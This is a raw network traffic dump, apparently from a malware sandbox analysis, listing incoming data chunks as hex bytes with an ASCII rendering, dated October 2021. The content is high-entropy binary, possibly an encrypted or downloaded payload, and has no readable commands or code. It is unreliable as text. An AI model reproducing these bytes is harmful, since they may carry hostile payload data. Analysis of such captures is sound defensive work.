>aBt8J$%jP/3tF&a{4!7R&ClDF,}ut%n:(rZB.r3W=S5_gCi}!Wb!zoR~h[]iF:S]FduUPWx/>}'H.JH._&*LG?fwJw
2021-10-13 10:51:51 UTC	140	IN	Data Raw: 3f 52 19 38 7f 94 7c 12 58 71 26 f1 69 b2 36 42 37 39 59 92 1c 80 d8 fe 80 05 28 58 b0 c7 b7 68 56 91 4d 87 c5 79 2c 7c 07 62 a7 b3 e3 72 d2 12 09 1c ab d1 c1 ca 9e 41 b7 94 4e f5 fd 1f b9 7b b0 52 39 d0 ee 9c a1 e3 ce 44 ea da 94 4f ef cc 7d bb 56 3b 28 75 3e be 16 5f db a6 35 a1 57 77 a8 df 6f c2 8e fc 08 46 5b 62 a9 0b 76 a8 f5 0e 5e a8 32 af ff 5d 75 5f e2 e4 e4 2b c5 90 79 2c 7d a4 6b 12 6b 25 2d 13 99 7a 98 6b 72 33 b6 4e 44 63 fd 5c 61 a6 c9 1d 12 d6 36 80 f7 42 28 77 f9 73 ff f7 c6 c9 7e e5 8b b5 4b d6 98 6c 69 29 77 93 db eb 3b 9d 99 55 0d 6a 8b e7 ab 51 44 12 51 23 3a 9c df 64 0f 34 9d aa b4 7d c3 ed 4f 50 76 f6 6a b4 95 9d c9 fe 08 1d b1 dc 6c e3 37 25 00 3b 5d 79 df 09 1a 3a 2e 10 8f 36 4d ba ea 86 9f 6e e0 29 99 93 f9 e7 87 7d 45 9f 82 b0 53 Data Ascii: ?R8\|Xq&i6B79Y(XhVMy,\|brAN{R9DO}V;(u>_5WwoF[bv^2]u_+y,}kk%-zkr3NDc\a6B(ws~Kli)w;UjQDQ#:d4}OPvjl7%;]y:.6Mn)}ES
2021-10-13 10:51:51 UTC	141	IN	Data Raw: 21 57 15 58 76 4a 41 86 4a 7a b6 a3 20 a1 b8 c3 93 75 2e 7b fa 0e 19 07 23 81 c9 db 9c 99 aa 51 4c 66 6b cb f5 f3 af 53 f0 b5 dc e5 61 96 7a 5d 69 d7 92 d8 db ee 81 8c e2 46 af 1c e5 b9 d3 23 6a a6 6e 8b c8 6b a9 ed e6 de ea ab a2 c4 2b 75 50 c4 83 1e d9 e7 ec d6 d1 75 0f b2 09 ca 10 fd 59 0b 69 94 ba b8 f0 ce ce 60 0f 09 72 31 99 6d d6 43 c8 0f 39 fb c0 b0 09 bd 40 d6 05 5d 3c 0a 63 9f de 1a 8b fe ce a1 67 6c 62 c0 6e 81 06 12 6d 80 6e ac fc 53 22 fc cf cb e2 2f 3d 98 c7 0a 98 f1 0e 94 bb 0d b0 38 24 3c bd bd d9 dd 1e 0b 9a 96 e4 a4 b7 6a e2 86 82 c0 f0 11 9e e2 81 0c 2f a0 16 df 68 f7 f3 f9 47 89 7b f8 38 0c db 4b 1e 08 98 b0 d6 f9 e2 f2 0a 2d e4 e8 fc e7 b5 08 98 8a c6 d6 b0 ec 21 5d 11 15 b0 17 41 21 56 aa a0 49 68 b5 f9 76 07 df e7 ab 54 a8 35 b0 51 Data Ascii: !WXvJAJz u.{#QLfkSaz]iF#jnk+uPuYi`r1mC9@]<cglbnmnS"/=8$<j/hG{8K-!]A!VIhvT5Q
2021-10-13 10:51:51 UTC	143	IN	Data Raw: 8b f7 81 74 5f c2 96 df 06 d4 a9 01 da 51 a6 6b 34 48 b8 53 8a 80 52 b1 49 5b 37 9c c8 a0 df d1 4e 43 a6 3f 1e 12 d6 8c e5 c5 50 0e 48 5c 5a d2 f5 e6 c4 4f 63 f5 33 41 fe b1 4e 43 2d 5d 15 3f 57 17 8f bb 55 c7 69 8b e7 11 ce 76 00 77 1c 82 b5 f2 66 2f 24 ac 2c ca fb d2 c5 66 72 5d f2 40 32 71 21 e5 ec 2a 1d 7b df 6c e3 8d 12 0d 29 7b 46 66 20 37 38 0e 30 be b4 33 3c c8 ae b6 4c cc 2d b3 11 1d 5b ab 6c 67 9f 4c b3 53 8c ec e6 b6 6e 56 f5 9a 75 f5 6a 62 01 6c a8 04 fc 7c 8b 2d 1c 61 df e2 c4 48 86 7d 33 94 02 71 11 7c da 64 7b 96 38 e6 68 5a 48 a3 28 60 96 c4 d3 d8 53 cd df b6 4e 9f 30 50 7b f5 1f 75 b1 2c a3 c0 b1 e6 0c a7 c4 f2 e1 a9 4e 0f 04 81 76 37 d9 77 22 52 fc 21 5f 9b bc be 49 17 0f fd 1a d6 de 03 78 cc 35 81 cb 94 a5 97 20 3c c4 e1 4e 9b 90 6e 32 Data Ascii: t_Qk4HSRI[7NC?PH\ZOc3ANC-]?WUivwf/$,fr]@2q!*{l){Ff 7803<L-[lgLSnVujbl\|-aH}3q\|d{8hZH(`SN0P{u,Nv7w"R!_Ix5 <Nn2
2021-10-13 10:51:51 UTC	144	IN	Data Raw: 0f 3d 41 e0 9f 1b 9b fa bc 2a 4c 1a 0a c2 bf de 1a b4 30 fa 8c 65 77 4c c7 ea ff 99 39 eb fa d7 fd fe 57 02 60 e8 e6 f0 93 38 e5 d7 2c b8 d7 a3 b6 bb 2d 65 00 0c 11 a0 b1 f7 da 9a 75 05 bd 62 de 0e 3a e0 82 a2 5d d7 3c 8c 5e 84 70 3f 86 36 f8 b9 d5 f3 d9 8e 9e 53 d5 25 1a f5 4c 9a 76 07 9b 54 83 5b a1 08 29 c4 7a db ca a7 b4 9d f5 d5 f0 90 c4 fd 7f 11 35 43 11 69 0c 4a 82 8b 61 ee cd 4a f1 79 42 c6 f8 52 88 3c 28 74 ca b9 ee 22 83 dd 95 e1 37 f6 76 d2 54 40 c4 5a 25 9a fb 20 b5 31 c1 27 db 91 97 fc 94 c4 f9 05 6f 51 7f 11 0a 0e b5 b3 19 10 a6 d0 f7 7e 64 e5 19 0d 2f 16 0e 8b 23 92 03 c4 0a 1d 37 53 07 10 b6 83 e0 08 d8 d1 62 54 56 5e a1 df 73 1b 51 28 04 da 68 40 d7 35 ff 44 30 c6 b0 8c b4 72 90 ea 39 41 96 4a d3 d2 af 03 72 4f 25 50 bc 71 3c 7b 77 0c 6c Data Ascii: =A*L0ewL9W`8,-eub:]<^p?6S%LvT[)z5CiJaJyBR<(t"7vT@Z% 1'oQ~d/#7SbTV^sQ(h@5D0r9AJrO%Pq<{wl
2021-10-13 10:51:51 UTC	145	IN	Data Raw: 30 bc 70 af 95 36 49 85 bf ac b2 6c 7a 0a 9e 03 a1 5e f0 7f 41 bf 40 4a 77 8c cc 93 9d 46 7b ec b2 5e dd ec 1a b2 eb d6 99 dd 0b 8d 0d 31 f9 fa cf 4c 4b 8b 18 17 b4 2f 53 17 59 fa 0b 44 86 10 d4 67 72 63 8b ae 18 25 43 ad 45 72 b5 d9 96 60 07 15 7d f3 f6 12 1f 95 0c 8d e2 a7 c3 2c db fb d3 c9 9b 41 27 2f a9 f0 4f 6a f0 5c cf dd 58 59 bb 93 26 6c 3a 87 fe 17 bd fa 23 57 ee 02 a4 eb 1d 9a 9e 08 0e cb c9 65 b3 16 16 81 78 26 d3 e3 0a 1a fe 25 6d 00 dd fb 89 b9 4f 72 1c 11 cd b2 ae 3b 1c b5 84 b4 02 85 97 a8 5e 0b 12 93 83 31 09 3d ee f7 a2 c4 bc 44 67 e6 0e ab a1 c9 ce bd 2a 92 31 b0 38 8d 3c 2c ca 89 35 b7 7e 8e bf 8b dc b3 ca 62 70 44 b2 94 78 41 ad 41 d8 73 4a c0 ea 25 4e 93 35 6b c2 4d 76 84 01 70 d7 1f ff 46 f5 00 b5 39 77 68 46 5e 67 d9 a3 61 41 16 fd Data Ascii: 0p6Ilz^A@JwF{^1LK/SYDgrc%CEr`},A'/Oj\XY&l:#Wex&%mOr;^1=Dg*18<,5~bpDxAAsJ%N5kMvpF9whF^gaA
2021-10-13 10:51:51 UTC	146	IN	Data Raw: 3b ac 50 b5 6f 58 b3 e2 51 3b fa f8 7c e9 84 16 1c 88 f3 81 b7 fc 70 82 55 26 72 df af c0 c2 65 fa 85 82 6d fc b5 68 43 a9 23 8c a4 72 3e bd 10 77 ed 6b 11 c2 1c 66 4f 20 fa 01 da 9d ff 02 09 22 86 b5 a2 4a fe c7 62 54 5c 76 3e ab ea 04 cc de 82 3f 50 dd f6 c6 80 12 0b 09 f5 5b 3e 08 3a 46 28 36 94 29 58 8d e4 ac b2 6a ca ad cd 88 86 7e 82 5d ce bd 60 b1 c9 a9 e1 9d b0 4e d9 ec b2 58 d7 fb 42 2b ea c1 b5 d0 7e 8f 0b 1b e1 a1 7b 5f 6d af 4f 85 b6 2f 73 8b 59 d7 1a 7d b6 a8 fb 65 72 45 33 0e 66 bc 5a 85 6c 50 cd dd bc e2 e3 a9 51 e1 d4 12 f6 95 0c 8d 58 94 cb 3d fd c4 63 e3 b6 43 07 bd a5 76 31 e4 d9 71 c9 fd 27 71 39 ed 25 48 17 91 f8 a5 c6 f8 23 cd eb 18 90 cd 3d 17 95 20 23 e9 5c 45 99 90 70 30 54 24 d7 c5 5a 9a 80 bc f6 25 f4 c9 3c 9b 35 70 86 34 c0 e3 Data Ascii: ;PoXQ;\|pU&remhC#r>wkfO "JbT\v>?P[>:F(6)Xj~]`NXB+~{_mO/sY}erE3fZlPQX=cCv1q'q9%H#= #\Ep0T$Z%<5p4
2021-10-13 10:51:51 UTC	147	IN	Data Raw: 27 19 ee 4b ed 68 a1 b3 3a eb fe 6d 88 d1 45 24 da 7e c9 e2 b5 38 2c f2 2c b8 e8 14 bc 96 2f 7a 22 0e ba dc 28 f0 f0 18 2b 28 be 62 da b4 4e cf 90 84 e7 46 13 9e 78 84 90 1a 86 36 c7 67 df de db 91 93 51 7a 59 83 f2 66 18 28 2b 98 54 87 e1 d6 27 38 e2 c0 4b e5 b5 92 9d 19 f0 f0 90 fd 0b 70 13 35 5a 21 c3 5f d1 83 8d 4f 48 05 d1 f0 79 dc c3 86 41 ae 1c 04 53 e7 ab e8 c3 f7 df 95 f8 3f 23 56 d2 52 75 5a 0c 91 99 fb 22 bf 00 bd be da 0b b6 f1 d2 e0 d9 b2 f7 74 52 23 e8 09 e1 b1 06 19 ae ed d6 7e 62 d0 8f 5b 9b 15 0e 89 29 a8 7f 5d 0b 87 16 5e 43 34 96 3b 78 2d f5 e0 89 53 03 5c bf f7 7e 3d 72 2e 2e 42 3e f4 d4 35 fd 4e 0f ba 29 8d 2e 53 9d ae 1d 61 2f d2 f6 ff 9d f0 75 19 27 4f b0 79 3d 5a 77 0a 59 91 55 ae 43 33 1d a2 29 1e 80 42 41 88 39 1c 5e 4b 7c b5 68 Data Ascii: 'Kh:mE$~8,,/z"(+(bNFx6gQzYf(+T'8Kp5Z!_OHyAS?#VRuZ"tR#~b[)]^C4;x-S\~=r..B>5N).Sa/u'Oy=ZwYUC3)BA9^K\|h
2021-10-13 10:51:51 UTC	148	IN	Data Raw: 41 a0 41 99 7e 8e cc 8a bc e8 28 77 b3 58 f3 4a be 29 ea d6 07 d8 51 9d 2b 11 b9 dd e2 5e 4d 45 45 15 b4 30 7a 39 51 f8 0b 5d bc be 87 fc 73 65 a5 08 bd be 42 ad db 77 e0 c9 b0 40 46 32 50 e1 f0 c5 4d 97 0c 92 c8 99 cb 2e db e2 d8 67 c8 da 26 29 87 56 ed f1 f1 5c 51 d8 0c 49 9d b3 60 4b 17 95 f8 36 ef f8 23 48 ea 1d ac e9 1d 83 bd a6 5d 50 c8 63 9d b0 b5 1a 79 26 4d e6 5d 0a d8 05 2a 27 f0 e9 8f bc 1e 70 1c 0e e4 da a6 39 1c ac 8f 1a 51 1e 96 ae 70 ad b2 08 82 31 97 38 b8 e7 84 e4 f8 63 4a f4 08 a5 f1 cb ce a2 01 db 39 b2 38 94 3e 82 99 12 34 b1 50 2c 1e 10 dd b3 54 67 21 54 94 b4 3d 66 80 50 de 6a 1d c2 ea 3a 61 32 3d 69 c2 5c 74 2f 7d e9 d0 35 79 18 8c 03 b5 3d cd 30 69 4c 41 63 66 4e 50 30 fd f1 8b b8 c7 ac 7b 04 56 f8 94 3a 00 b7 d9 70 d8 9e 9d 8a 90 Data Ascii: AA~(wXJ)Q+^MEE0z9Q]seBw@F2PM.g&)V\QI`K6#H]Pcy&M]*'p9Qp18cJ98>4P,Tg!T=fPj:a2=i\t/}5y=0iLAcfNP0{V:p
2021-10-13 10:51:51 UTC	150	IN	Data Raw: 53 88 3c 92 b0 cb ab c8 1d de f7 b8 e3 17 08 7e 54 2a c6 dd 72 0c b8 fa 25 9f b7 25 9b f7 83 b5 fc c1 c5 f9 05 d5 9b 7e 03 2c 31 eb 99 34 12 86 c6 fe fc 1a 63 0c 25 06 34 0c 8e 09 10 e7 78 26 0c 15 53 50 11 b6 83 5a d4 d9 c0 44 6a 2b 71 a3 df 55 15 f4 56 9d c5 40 69 f5 36 fa 6e b6 22 0c a0 a6 50 90 bf 38 41 96 f0 f7 d2 bd 25 4d 08 0f 7d be 51 16 72 f1 72 ea 16 2b 33 62 37 1a 82 93 86 a5 6f c9 8b 34 0a 7b 6b c6 97 7a 5b 94 56 98 d4 49 29 53 05 64 8b 1f 1f 95 4a 13 0d 38 8e 0e c0 ca 04 fe bf ab 79 f3 d8 c0 b8 7b 90 51 13 cb ee 83 b9 e3 ce 44 ea da 94 4b ef cc 7d bb 56 3b f3 77 3e be 16 5f db a5 35 a1 8c 75 a8 df 6f f8 b8 fc 08 4e 7c 67 86 09 70 84 5d f2 b9 30 33 ab db a3 73 5c e2 7e 5b 23 f9 a7 7f d2 7b a7 6b 32 42 7f 00 13 81 4c 9d 44 70 35 9a e2 b8 84 65 Data Ascii: S<~T*r%%~,14c%4x&SPZDj+qUV@i6n"P8A%M}Qrr+3b7o4{kz[VI)SdJ8y{QDK}V;w>_5uoN\|gp]03s\~[#{k2BLDp5e
2021-10-13 10:51:51 UTC	151	IN	Data Raw: 18 86 5d 92 fb a1 f1 56 0c b2 d7 01 f5 31 cd 04 08 46 66 cd 9c 85 85 72 08 64 c6 e2 3a 43 43 f6 00 10 7b af 77 8a e7 68 ce f3 f0 64 3b 42 2f c4 c5 82 2c e6 7d 28 3b 3e 56 f9 22 c8 63 e6 5b ae cf 5c 1b b7 29 9d 9b 57 87 49 7c 60 ef c0 c4 31 50 6f f6 56 c5 6a 80 ba 4d 54 b8 f2 81 88 f8 54 de db 0f a1 db 79 8f db 9b cf ec 0c 94 e6 80 c0 c9 e1 c6 73 fe f9 8b 65 36 1e 18 71 06 c8 89 c4 41 35 7f 6c 78 e9 a2 d9 d8 c4 ed 35 e9 37 22 8b e0 a8 d0 35 81 c0 af bc 80 fb b9 1b 34 8e b8 84 99 b6 e7 23 f3 4d d8 41 a4 db ed 6c 05 e0 a8 f5 b4 1a 80 b6 a7 a8 98 e9 c9 0b 2e 92 24 ef b1 64 84 df e2 d9 0c 40 35 b6 3a a7 3e d4 03 07 42 73 b1 ae df d9 d8 43 7c 3a 6f 27 a4 a6 f8 e8 d0 15 39 db fb 9c 33 d4 da dd 09 64 62 49 69 8f de 28 83 12 c6 9b 52 4b 2e 92 73 8c 07 51 9b fd e0 Data Ascii: ]V1Ffrd:CC{whd;B/,}(;>V"c[\)WI\|`1PoVjMTTyse6qA5lx57"54#MAl.$d@5:>BsC\|:o'93dbIi(RK.sQ
2021-10-13 10:51:51 UTC	152	IN	Data Raw: 82 8c a1 c7 8b ed d8 d9 a9 c5 c6 5b 49 d0 40 99 08 75 c5 c8 aa b6 13 5f 8a 87 79 ac 6d 39 a3 dd 99 c8 a7 53 7b 95 c6 9f c8 ce b7 26 b1 79 78 22 5e 0b 3e cf 6f 74 4a 2c eb 1d c3 80 6a 48 21 1c 65 4c f1 57 78 10 6e 35 e4 db 22 f6 b5 48 cd 90 00 24 fe 61 27 85 26 3f d7 2e 4a c6 57 0a 76 87 de c7 e9 1d a8 f1 3b d2 d0 47 f0 7c f1 a6 fa 18 1c bd 39 a4 72 a5 e7 1b b4 29 ff 3e 6f 37 2c 30 5c d1 14 f6 3f 37 73 fe ae 43 ca d7 74 4c a8 39 30 4a a7 ca d7 b5 37 64 36 19 48 b4 8e 8c af 0d 96 e4 dc 69 ce e5 08 0e 57 21 1c af 6e 3a 9c 9c 23 a0 5c ba cb 6a 47 7d 01 60 17 c0 88 c3 20 00 3f 88 ab b0 7d d0 d7 2f 67 73 ca 67 13 c1 2b f3 db 2e 11 29 cd 7a fa ea 34 1d 01 43 69 06 25 2c 08 34 24 a4 15 79 9f fb 9d 86 a8 28 e2 34 dc 47 bf 68 8c a7 31 f9 21 cc 45 08 5f 41 f8 8c 23 Data Ascii: [I@u_ym9S{&yx"^>otJ,jH!eLWxn5"H$a'&?.JWv;G\|9r)>o7,0\?7sCtL90J7d6HiW!n:#\jG}` ?}/gsg+.)z4Ci%,4$y(4Gh1!E_A#
2021-10-13 10:51:51 UTC	153	IN	Data Raw: 70 f4 e8 88 75 10 5c 46 6d 18 c7 81 90 2d 36 d6 82 8b 2b 6d 5f 03 49 79 fb 64 f6 fc 0b 68 70 0c f5 65 72 03 14 2a 26 7e c1 a2 17 63 15 53 5e 43 9f 0e 8e 13 9d 62 00 20 d3 c1 2b 77 23 29 ce 1d 6d 61 74 0c 57 72 ac ba 52 ed 20 62 cc 32 48 7d 34 e3 46 26 ee 69 aa 4f ed 48 4f 05 60 f3 be b4 9a 8c 1d 6b 0e 69 2a bc e3 f7 89 cc 09 2e d3 89 c0 0b ca ed d4 47 2d 7b 52 55 a3 bb 75 c4 49 f5 c6 0d 01 3e 87 48 bd 3c 14 c6 8e 85 8b db 63 2b 95 9e 99 f4 e1 5e bd d5 2e a1 ab 53 92 b5 25 69 60 22 29 b5 a6 fa b3 41 54 d1 fe 73 cb 69 2b b7 c8 ac cb 80 24 eb 19 8d 02 1e b0 4b a4 4d de da e9 f4 ac 4f cc 11 36 91 18 62 6a fd a8 64 e7 1a 85 61 f8 29 79 67 34 26 11 76 6a 1a 24 0f 7e e2 96 da fb c7 d0 97 f3 98 4c 0d db f8 33 52 24 af c4 65 03 e5 7b f3 0d ef 16 1a 65 e7 3f 30 67 Data Ascii: pu\Fm-6+m_Iydhper&~cS^Cb +w#)matWrR b2H}4F&iOHO`ki.G-{RUuI>H<c+^.S%i`")ATsi+$KMO6bjda)yg4&vj$~L3R$e{e?0g
2021-10-13 10:51:51 UTC	155	IN	Data Raw: 5b 8a 5a 20 dc 63 fb 30 fc a0 f7 b7 b1 b5 09 cc 25 e1 e5 b0 5d 09 ba 3c 39 e6 df 28 ac b4 fc 4a 14 09 7a ff ab ca ac da 58 53 50 39 ee 48 34 01 f9 01 02 d3 da 8c f2 b2 05 c2 74 e9 de 39 ba 66 9d e8 3b 79 63 1e 78 06 a2 fc 80 39 76 6e d4 e1 d4 13 8e 91 3b 0d 60 83 15 73 80 53 8c 98 65 5b 32 f0 2a 81 d9 60 77 69 10 33 43 7f 67 7f 53 41 fa 44 32 d3 85 ea d7 1e 86 1a 9d 1b 9b 76 b4 7e 42 b5 6b bc 40 a0 cb 81 9d 79 61 fc a4 4e fb 27 5e 67 d9 93 d8 bc 3e d5 49 72 1d a5 87 23 17 a7 65 75 ce 2e 71 65 17 8e 79 2f fe 27 99 0a 19 7c cf 30 01 b8 7b 92 73 6a ee fd 1c 98 50 fa 8b 3c 19 bf 8b 5b d8 49 57 55 01 cd 54 6b 73 61 25 c4 ac d5 09 e8 b5 00 76 db 52 09 99 e1 06 37 04 f6 a3 20 62 8c 00 3d 96 92 7f 85 4c 19 eb 78 66 c8 cc 74 0c 95 6b 21 ae ee 9e c0 4a 47 ea 95 30 Data Ascii: [Z c0%]<9(JzXSP9H4t9f;ycx9vn;`sSe[2*`wi3CgSAD2v~Bk@yaN'^g>Ir#eu.qey/'\|0{sjP<[IWUTksa%vR7 b=Lxftk!JG0
2021-10-13 10:51:51 UTC	156	IN	Data Raw: 0c 2e b9 c6 ff 99 98 7f 2b 8b 46 a4 3c 3d 8a 99 ac 74 d4 28 b7 96 46 44 4f 11 5a e5 fc 4f 79 7d 43 14 5d f8 94 69 fa 9e 41 d5 f2 61 34 25 40 69 e9 e3 b8 ae 56 41 d6 e2 2c 93 4c 2a bd d5 fd 9c a3 19 bc 28 ed 05 49 b9 17 ec 34 db af f6 ca b9 56 bf 5c 62 80 1a 6c 73 bf af 1d d5 46 98 2c 13 e9 a9 bb d0 f3 d6 8e e3 92 c1 81 e2 37 48 1e 3c 5f 1d 15 33 5e 92 af 77 78 af d6 f0 24 5a f1 b5 48 a1 15 95 78 d9 96 f5 2d ed fc a5 d2 3d 2d 6a a6 7c 64 f4 5e 34 b4 fb 0a a3 96 9f 9e e3 b5 a5 fb f0 33 21 cc 30 ae c0 87 af a7 6b 7c d9 c5 55 01 03 9b af 23 c7 e8 cd c0 c1 5e c9 c5 93 9b de c2 e2 9f eb c5 4d 62 80 cf 1c 31 fa dc ac f1 0f 2e a5 c0 b6 dd fc 29 ab 94 3a f8 1a 9f 54 5d ce 71 53 fd 28 31 ef 87 57 17 32 41 3f a6 d0 90 b5 da 2d d9 88 d3 e3 86 fc b4 a5 a0 c3 b5 8d 06 Data Ascii: .+F<=t(FDOZOy}C]iAa4%@iVA,L*(I4V\blsF,7H<_3^wx$ZHx-=-j\|d^43!0k\|U#^Mb1.):T]qS(1W2A?-
2021-10-13 10:51:51 UTC	157	IN	Data Raw: 16 77 13 0d 82 0d d6 14 b7 3d 20 c2 36 07 fd 71 a1 10 cf 82 c9 89 74 5e a4 f6 0f a9 6c 61 65 b4 99 d3 b8 20 cd 58 39 68 c4 a7 35 15 d0 11 74 c9 47 40 43 16 9e 6d 34 ff 60 af 12 08 0f cc 70 2d f0 03 fc 3e 2b b9 a3 f5 54 ba 74 0b d5 ff 3d 7e 94 13 86 d5 b4 f4 16 ed f5 fe f8 a6 1b 1d 38 92 64 29 e2 f6 70 e6 d8 3b 4e bc ad b1 55 0e 87 d4 17 e0 df 0e 63 af 41 e8 9f 04 99 ad 0e 15 e5 ff 4b a1 b1 67 19 5d 19 e3 fc 05 f1 3a e3 30 ee 3c 31 5e 11 b8 a8 d0 db 76 06 4f f2 d4 65 73 50 f4 05 16 33 97 5c ae cf 42 ea ca f3 20 41 65 2b c4 88 f9 4a 84 45 3a 20 2c 07 dc 04 ee 5a d5 4a df c8 26 50 d6 52 b2 f3 22 e5 20 05 72 f9 ba ee 09 28 53 d5 0a c4 7a c6 8d 51 7c 80 f3 96 99 bb 54 c8 ca 13 bf d3 74 96 c3 88 c9 9c 3a a2 cd 84 cd c6 fa d1 12 c8 ac bd 7f 04 28 0d 78 0e e7 a4 Data Ascii: w= 6qt^lae X9h5tG@Cm4`p->+Tt=~8d)p;NUcAKg]:0<1^vOesP3\B Ae+JE: ,ZJ&PR" r(SzQ\|Tt:(x
2021-10-13 10:51:51 UTC	159	IN	Data Raw: 55 0c cb c5 04 3e ff 88 9f 09 20 85 bb 31 df 78 f5 13 82 d2 a4 58 93 84 c9 cc 46 68 26 a5 37 2a 97 02 66 ef 8c 50 ea e0 e8 e6 91 dd c0 98 84 83 a8 5e cb 40 6f 39 07 13 d1 8f 14 15 92 d6 d3 6b 65 c3 36 3b 08 02 16 9d 0d 31 49 41 03 01 24 6d 4a 37 8e ad 44 0d de f8 4d 41 24 7c 94 ea 74 1a 5a 08 16 d4 5d 6d d4 29 f0 61 b6 ae 37 88 bd 74 b7 ac c3 b6 6d 16 3e 24 66 e9 82 df db b0 7f 84 db 9b a2 cf 97 e8 fa f0 93 ef c2 5d 7f fb 05 db 5e 5e f1 fd 9d 83 21 54 b4 9a 62 bd 5b 17 93 ec a7 e1 9f 5f 5d a4 ff b5 e6 f8 d6 44 cb 38 2e 7d 3a 66 3f e7 4f 5b 5f 32 cb 0d e2 b2 4c 7d 1b 3c 0f 40 d5 7d 41 34 6f 28 c6 f9 24 c0 82 68 de a4 2b 10 dc 61 23 8c 26 37 ce 10 7c e0 59 20 55 bd f0 ea c5 02 bc ce 2e c9 c1 3a 3d 88 17 6b 26 83 a3 4f 6c dc 07 a1 de 19 a6 3c e7 21 7e 1f 75 Data Ascii: U> 1xXFh&7*fP^@o9ke6;1IA$mJ7DMA$\|tZ]m)a7tm>$f]^^!Tb[_]D8.}:f?O[_2L}<@}A4o($h+a#&7\|Y U.:=k&Ol<!~u
2021-10-13 10:51:51 UTC	160	IN	Data Raw: 1d 7f 9c 44 e8 9c 7a f6 f6 05 70 bc a5 1f f5 e1 11 71 4b 74 a4 b1 03 7c 99 6c f9 2f ec e1 9d a6 2b 74 08 13 f9 f6 cd 15 16 bb ba 95 39 9b 9d f1 49 93 7d 1c 81 33 27 0e 80 f4 89 d3 0f 4b 67 d4 11 a8 ec a6 e4 8f 23 da 7e df 40 bc 3f 38 cb ba 08 81 63 7d ab 61 a3 ca b0 28 8f cf 34 17 6e bb 4d 8e 2f 87 f9 11 28 a0 f0 9d 82 fe 50 dc c9 34 ef bf 0a f0 ac fd bf 96 48 e6 a9 fb be b9 8c b8 2a 80 b1 d0 38 4b 55 03 22 44 9f d6 9a 5d 36 c7 df cf 41 44 75 7c 7b 4f 8c 1d f7 be 1f 2c 64 1c e0 76 39 5e 11 3e 6a 65 cc ed 17 75 0c 44 71 0a 8b 04 ca 2c ac 55 3e 4f f7 dd 3e 7e 28 72 c0 08 29 2b 7d 46 03 3f e1 e0 5c b4 66 31 8a 35 1b 1e 79 b6 af 9e 50 dc 60 a5 42 f4 44 06 59 e4 f3 a6 9e 80 0b 68 45 7d 69 f9 a7 af c0 b3 06 34 a7 cb bf 77 be db 87 28 49 68 2f 67 d1 e4 27 e3 77 Data Ascii: DzpqKt\|l/+t9I}3'Kg#~@?8c}a(4nM/(P4H*8KU"D]6ADu\|{O,dv9^>jeuDq,U>O>~(r)+}F?\f15yP`BDYhE}i4w(Ih/g'w
2021-10-13 10:51:51 UTC	161	IN	Data Raw: 63 b1 97 a8 f2 b5 78 05 14 73 57 be 50 41 06 47 01 78 5e 62 10 75 28 12 89 81 1c 98 73 ce ba 13 0e 68 53 ce 90 4f 5e b2 7d bf f5 43 30 79 2c 4b ac 8c 7e 39 72 28 3b 22 b3 1d f3 fa 8f ee a0 9c 6e f5 04 5c 22 e5 26 b8 a2 04 2a 12 21 58 75 85 63 4d 30 46 1a c1 fb 61 da 94 6a f5 e8 3f 0a fa 23 33 fd 6b 3b cd 42 07 aa 29 5a 18 e5 a4 86 f2 66 e0 99 6d 8e 87 3a 53 dd 79 2b 47 8d a0 47 db 0a d1 5f 2e d4 59 fd 2a f5 bb d3 b8 bf 9b 06 d9 1f f9 e5 ac 01 43 a6 31 32 95 a7 11 80 88 c9 45 39 64 25 b6 f2 ae 89 db 1e 03 15 31 c3 09 7e 58 e2 5f 0c 81 87 c4 b4 fb 40 9a 90 7c 7d 94 0b 8a 6e 07 2d 6e 03 4c 2b 47 93 dc 98 33 2f 47 e2 bd a0 77 d9 ce 6a 5b 7a ef 4d 21 e1 02 d8 e7 72 6b 17 80 4a c8 d3 6c 51 55 1e 3b 52 2b 28 17 28 5f f1 47 3e c8 b4 97 ce 0a 88 57 8c 6d e5 0b f5 Data Ascii: cxsWPAGx^bu(shSO^}C0y,K~9r(;"n\"&!XucM0Faj?#3k;B)Zfm:Sy+GG_.YC12E9d%1~X_@\|}n-nL+G3/Gwj[zM!rkJlQU;R+((_G>Wm
2021-10-13 10:51:51 UTC	162	IN	Data Raw: 95 5b 99 b8 f4 8d 77 75 76 9e 35 3f b3 06 60 eb 8c 0d c6 de c2 c3 a1 e0 fb a8 b3 b9 9a 59 8c 07 23 7a 12 3c f9 bd 04 32 8b c4 da 5e 68 f2 0e 2c 12 5f 35 95 12 06 76 4c 03 13 6f 4d 43 0a ac da 43 39 d6 e7 4d 5e 2e 7c 98 fc 65 3f 5d 07 24 ea 63 5d fd 0f d5 5e 87 89 38 b1 8f 49 a3 81 04 73 ac f1 72 15 76 ef 93 c3 e5 89 6d dc f1 8b b2 c3 be c4 f8 e2 9d d9 c4 52 5f c4 7f 90 02 70 e1 d5 a5 bb 22 48 ce b2 7b b0 67 66 ae e6 b8 e8 a5 42 79 96 f3 a3 f8 ab ef 7a f7 32 19 6e 28 6c 5a a6 33 0b 46 3d f5 30 fb a4 55 62 0a 3c 44 6c 8b 6c 5b 38 58 1f c3 f1 0b cc 8a 6d c7 ae 2d 12 f9 6f 37 a5 24 2f d8 08 76 f5 74 39 4a a2 fe dc a2 19 bc d0 2a c2 c9 73 12 ac 14 61 3e d2 e1 47 eb 79 bc 67 f5 15 af 27 eb 30 77 20 72 25 43 c1 07 e1 3a 38 7d c3 80 71 ab b5 09 3c d1 57 62 42 8d Data Ascii: [wuv5?`Y#z<2^h,_5vLoMCC9M^.\|e?]$c]^8IsrvmR_p"H{gfByz2n(lZ3F=0Ub<Dll[8Xm-o7$/vt9J*sa>Gyg'0w r%C:8}q<WbB
2021-10-13 10:51:51 UTC	163	IN	Data Raw: 9f f0 76 18 2b 3f bf 16 f6 e9 80 bb 7d 43 1a 11 d1 fa c3 08 1a aa b8 99 67 b4 91 ae b6 97 24 39 84 31 91 17 dd c6 a4 c4 49 6b 02 c7 2e 8b 2a d1 86 8e 0c f3 fc 92 8d 88 12 04 21 8a 7d 82 52 0c f1 32 aa b7 c8 42 f5 46 07 8e e8 64 99 78 6a 54 3c c2 74 2c fa 1d 1a 6b 00 6e e3 8f 11 70 d0 2a 66 13 7e 01 69 19 4c 3e 56 5e d0 69 bc 61 42 30 56 8a bb 93 d5 b3 56 04 60 d1 92 3c 3b 2e 12 f3 df 9e 2c b4 c4 fc 7c 6b 97 e5 4c 9d 6c f2 23 c7 33 eb fa e3 6f 79 2f ba 58 db 24 9c 16 c7 6d be e2 d1 e6 e1 25 6a 7b fb df fb 7d b5 b2 fa 32 c2 ab 88 d5 45 59 4b d2 87 f3 f5 0b c4 c0 4b 69 29 4e 07 ec 14 71 49 be 53 28 